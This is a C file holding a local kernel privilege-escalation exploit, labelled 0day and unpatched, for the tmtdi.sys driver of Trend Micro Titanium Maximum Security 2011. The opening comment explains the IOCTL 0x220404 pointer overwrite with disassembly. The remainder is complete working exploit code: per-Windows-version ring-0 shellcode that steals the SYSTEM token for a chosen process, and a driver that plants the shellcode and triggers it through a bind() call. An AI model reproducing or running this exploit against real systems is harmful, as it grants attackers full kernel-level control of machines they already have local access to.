/*
1.Description:

The tmtdi.sys kernel driver distributed with Trend Micro Titanium Maximum Security 2011 contains a pointer overwrite vulnerability in the handling of IOCTL 0x220404. 
Exploitation of this issue allows an attacker to execute arbitrary code within the kernel.
An attacker would need local access to a vulnerable computer to exploit this vulnerability. 


Affected application: Trend Micro Titanium Maximum Security 2011, up to date version 3.0.1303.
Affected file: tmtdi.sys version 6.5.0.1234.

2.Vulnerability details:

IoCtl handler of \\.\tmtdi device drivesr:


.text:0001D3CC ; int __stdcall sub_1D3CC(PDEVICE_OBJECT DeviceObject, PIRP pIrp)
.text:0001D3CC sub_1D3CC       proc near               ; DATA XREF: sub_1DD40+D0o
.text:0001D3CC
.text:0001D3CC var_4           = dword ptr -4
.text:0001D3CC DeviceObject    = dword ptr  8
.text:0001D3CC pIrp            = dword ptr  0Ch
.text:0001D3CC
.text:0001D3CC                 mov     edi, edi
.text:0001D3CE                 push    ebp
.text:0001D3CF                 mov     ebp, esp
.text:0001D3D1                 push    ecx
.text:0001D3D2                 mov     eax, [ebp+DeviceObject]
.text:0001D3D5                 mov     eax, [eax+28h]
.text:0001D3D8                 and     [ebp+var_4], 0
.text:0001D3DC                 push    ebx
.text:0001D3DD                 mov     ebx, [ebp+pIrp]
.text:0001D3E0                 push    esi
.text:0001D3E1                 mov     esi, ds:MmIsAddressValid
.text:0001D3E7                 push    edi
.text:0001D3E8                 mov     edi, [ebx+60h]
.text:0001D3EB                 push    edi             ; VirtualAddress
.text:0001D3EC                 mov     [ebp+pIrp], eax
.text:0001D3EF                 call    esi ; MmIsAddressValid
.text:0001D3F1                 test    al, al
.text:0001D3F3                 jnz     short loc_1D403

[..]

.text:0001DAF3                 mov     eax, ecx
.text:0001DAF5                 sub     eax, 220078h
.text:0001DAFA                 jz      loc_1DC89
.text:0001DB00                 sub     eax, 18h
.text:0001DB03                 jz      loc_1DC51
.text:0001DB09                 push    4
.text:0001DB0B                 pop     edi
.text:0001DB0C                 sub     eax, edi
.text:0001DB0E                 jz      loc_1DC30
.text:0001DB14                 sub     eax, 2Ch
.text:0001DB17                 jz      loc_1DBF1
.text:0001DB1D                 sub     eax, 14h
.text:0001DB20                 jz      loc_1DBBD
.text:0001DB26                 sub     eax, 330h
.text:0001DB2B                 jz      short loc_1DB7B

[..]

.text:0001DB7B loc_1DB7B:                              ; CODE XREF: sub_1D3CC+75Fj
.text:0001DB7B                 test    dword_2289C, 10000000h
.text:0001DB85                 mov     edi, [ebx+0Ch]
.text:0001DB88                 jz      short loc_1DB95
.text:0001DB8A                 push    offset aIoctrl_bind_cf ; "[IOCTRL_BIND_CFW]\n"
.text:0001DB8F                 call    DbgPrint
.text:0001DB94                 pop     ecx
.text:0001DB95                 push    edi             ; VirtualAddress
.text:0001DB96                 call    esi ; MmIsAddressValid
.text:0001DB98                 test    al, al
.text:0001DB9A                 jz      loc_1DD19
.text:0001DBA0                 cmp     [ebp+DeviceObject], 8 ; check for length
.text:0001DBA4                 jb      loc_1DD19
.text:0001DBAA                 mov     eax, [edi] ; eax - first DWORD from our buffer
.text:0001DBAC                 mov     dword_228B4, eax ; pointer overwrite




This address contains value that interprets as function pointer.
Function sub_10CD4 uses this value as function pointer.

.text:00010CD4 sub_10CD4       proc near               ; CODE XREF: sub_19234+480p
.text:00010CD4                                         ; sub_197FC+1D5p ...
.text:00010CD4                 mov     edi, edi
.text:00010CD6                 push    ebp
.text:00010CD7                 mov     ebp, esp
.text:00010CD9                 mov     ecx, dword_228B4 ; copy to ecx
.text:00010CDF                 xor     eax, eax
.text:00010CE1                 test    ecx, ecx
.text:00010CE3                 jz      short loc_10CE8 ; is NULL pointer
.text:00010CE5                 pop     ebp
.text:00010CE6                 jmp     ecx  ; direct jump to our shellcode
.text:00010CE8 ; ---------------------------------------------------------------------------
.text:00010CE8
.text:00010CE8 loc_10CE8:                              ; CODE XREF: sub_10CD4+Fj
.text:00010CE8                 pop     ebp
.text:00010CE9                 retn    4
.text:00010CE9 sub_10CD4       endp

We could invoke sub_10CD4 function by calling function bind.


Exploit code in exploit.c file (bellow).
*/

/*
# Exploit Title: Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit
# Date: 2010-11-01 
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://us.trendmicro.com/us/products/personal/titanium-maximum-security/
# Version: up to date, version 3.0.1303, tmtdi.sys version 6.5.0.1234
# Tested on: Win XP SP3, Win Vista SP2, Win 7
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
#include <stdio.h>
#include "winsock2.h"
#include <windows.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ws2_32.lib")


static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xd8\x00\x00\x00"
  "\x89\x88\xd8\x00\x00\x00"
  "\x90";

static unsigned char winvista_ring0_shell[] =
  /* _ring0 */
  "\x64\xa1\x24\x01\x00\x00"
  //"\x8b\x00"
  "\x8b\x70\x48"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x9c\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\xa4\x00\x00\x00"
  "\x2d\xa0\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x9c\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\xa4\x00\x00\x00"
  "\x2d\xa0\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xe0\x00\x00\x00"
  "\x89\x88\xe0\x00\x00\x00"
  "\x90";


static unsigned char win7_ring0_shell[] =
  /* _ring0 */
  "\x64\xa1\x24\x01\x00\x00"
  "\x8b\x70\x50"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\xb4\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\xbc\x00\x00\x00"
  "\x2d\xb8\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\xb4\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\xbc\x00\x00\x00"
  "\x2d\xb8\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xf8\x00\x00\x00"
  "\x89\x88\xf8\x00\x00\x00"
  "\x90";


static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\x70\x44"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xc8\x00\x00\x00"
  "\x89\x88\xc8\x00\x00\x00"
  "\x90";


static unsigned char freeze[] =
  "\xeb\xfe";



DWORD WINAPI ResetPointer( LPVOID lpParam )
{
        HANDLE   hDevice;
        DWORD *inbuff;
        DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len;

        DWORD interval = 500;//enough?!
        Sleep(interval);
        inbuff = (DWORD *)malloc(0x1000);
        if(!inbuff){
                printf("malloc failed!\n");
                return 0;
        }

        *inbuff = 0;
        hDevice = (HANDLE)lpParam;
        DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
        free(inbuff);

        return 0;
}

static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen)
{
        DWORD dwVersion, dwMajorVersion, dwMinorVersion;

        dwVersion = GetVersion ();
        dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
        dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

        printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion);

        switch (dwMajorVersion)
        {
                case 5:
                        switch (dwMinorVersion)
                        {
                                case 1:
                                        *zlen = sizeof winxp_ring0_shell - 1;
                                        *(PDWORD) &winxp_ring0_shell[55] = ppid;
                                        return (winxp_ring0_shell);
                                case 2:
                                        *zlen = sizeof win2k3_ring0_shell - 1;
                                        *(PDWORD) &win2k3_ring0_shell[58] = ppid;
                                        return (win2k3_ring0_shell);

                                default:
                                        printf("GetVersion, unsupported version\n");
                                        exit(EXIT_FAILURE);
                        }

                case 6:
                        switch (dwMinorVersion)
                        {
                                case 0:
                                        *zlen = sizeof winvista_ring0_shell - 1;
                                        *(PDWORD) &winvista_ring0_shell[54] = ppid;
                                        return (winvista_ring0_shell);

                                case 1:
                                        *zlen = sizeof win7_ring0_shell - 1;
                                        *(PDWORD) &win7_ring0_shell[54] = ppid;
                                        return (win7_ring0_shell);

                                default:
                                        printf("GetVersion, unsupported version\n");
                                        exit(EXIT_FAILURE);
                        }

                default:
                        printf("GetVersion, unsupported version\n");
                        exit(EXIT_FAILURE);
        }

        return (NULL);
}


int main(int argc, char **argv)
{
        HANDLE   hDevice, hThread;
        DWORD *inbuff;
        DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len, zlen, ppid;
        LPVOID zpage, zbuf;

        struct sockaddr_in service;

        // Initialize Winsock
        WSADATA wsaData;
        SOCKET ListenSocket;
        int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);


        printf ("Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit\n"
                  "by: Nikita Tarakanov (CISS Research Team)\n");

        if (iResult != NO_ERROR) printf("Error at WSAStartup()\n");

        if (argc <= 1)
        {
                printf("Usage: %s <processid to elevate>\n", argv[0]);
                return 0;
        }

        ppid = atoi(argv[1]);

        zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (zpage == NULL)
        {
                printf("VirtualAlloc failed\n");
                return 0;
        }
        printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000);

        memset(zpage, 0xCC, 0x1000);
        zbuf = fixup_ring0_shell(ppid, &zlen);
        memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen);
        memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1);
        if ( (hDevice = CreateFileA("\\\\.\\tmtdi",
                                                  GENERIC_READ|GENERIC_WRITE,
                                                  0,
                                                  0,
                                                  OPEN_EXISTING,
                                                  0,
                                                  NULL) ) != INVALID_HANDLE_VALUE )
        {
                printf("Device succesfully opened!\n");
        }
        else
        {
                printf("Error: Error opening device \n");
                return 0;
        }

        inbuff = (DWORD *)malloc(0x1000);
        if(!inbuff){
                printf("malloc failed!\n");
                return 0;
        }

        *inbuff = zpage;
        DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL);
        free(inbuff);


        hThread = CreateThread(NULL, 0, ResetPointer, hDevice, 0, NULL);

        if(!hThread){
                printf("CreateThread failed!\n");
        }


        ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (ListenSocket == INVALID_SOCKET) {
                printf("Error at socket: %ld\n", WSAGetLastError());
                WSACleanup();
                return 0 ;
        }
        service.sin_family = AF_INET;
        service.sin_addr.s_addr = inet_addr("127.0.0.1");
        service.sin_port = htons(27015);

        // Jump to shellcode
        if (bind( ListenSocket, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) {
                printf("bind failed!\n");
                closesocket(ListenSocket);
                return 0 ;
        }

        WSACleanup();


        return 0;

}